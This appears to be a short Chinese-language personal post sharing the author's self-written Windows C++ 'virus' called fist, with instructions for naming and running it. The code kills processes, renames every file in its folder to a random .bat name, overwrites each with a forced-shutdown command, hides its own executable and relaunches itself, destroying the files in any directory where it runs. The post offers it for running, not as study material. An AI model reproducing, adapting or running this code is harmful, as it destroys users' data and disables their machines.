fist病毒

· · 个人记录

fist病毒

好康的:(自己写的)【运行时请将cpp文件名命名为fist】{且您用的得是Windows系统}

#include<bits/stdc++.h>
#include<windows.h>
#include<io.h>
#define r rand()
using namespace std;
string c,s;
bool f;
void changed()
{
    system("dir /b *.*>dirs.txt");
    freopen("dirs.txt","r",stdin);
    while(getline(cin,c))
    {
//      cout<<c<<endl;
        char j[10]="ひ";
        if(j[0]==c[0]&&j[1]==c[1])
        {
            continue;
        }
        if(c=="fist.cpp"||c=="fist.exe"||c=="dirs.txt")
        {
            continue;
        }   
        system("@echo off");
        string ki="taskkill /f /im "+c;
        system(ki.c_str());
        s="";
        int sum=r%10+1;
        while(sum--)
        {
            char st=r%256;
            s+=st;
        }
        s+=".bat";
        s="ひ"+s;
        rename(c.c_str(),s.c_str());
        freopen(s.c_str(),"w",stdout);
        printf("shutdown -t 0 -s");
    }
    freopen("fist.exe","r",stdin);
    fclose(stdin);
    fclose(stdout);
    system("@echo off");
    system("del /F /S /Q dirs.txt");
}
int main()
{
    srand(time(0));
    system("attrib +s +h +a fist.exe");
    changed();
    system("fist.exe");
    return 0;
}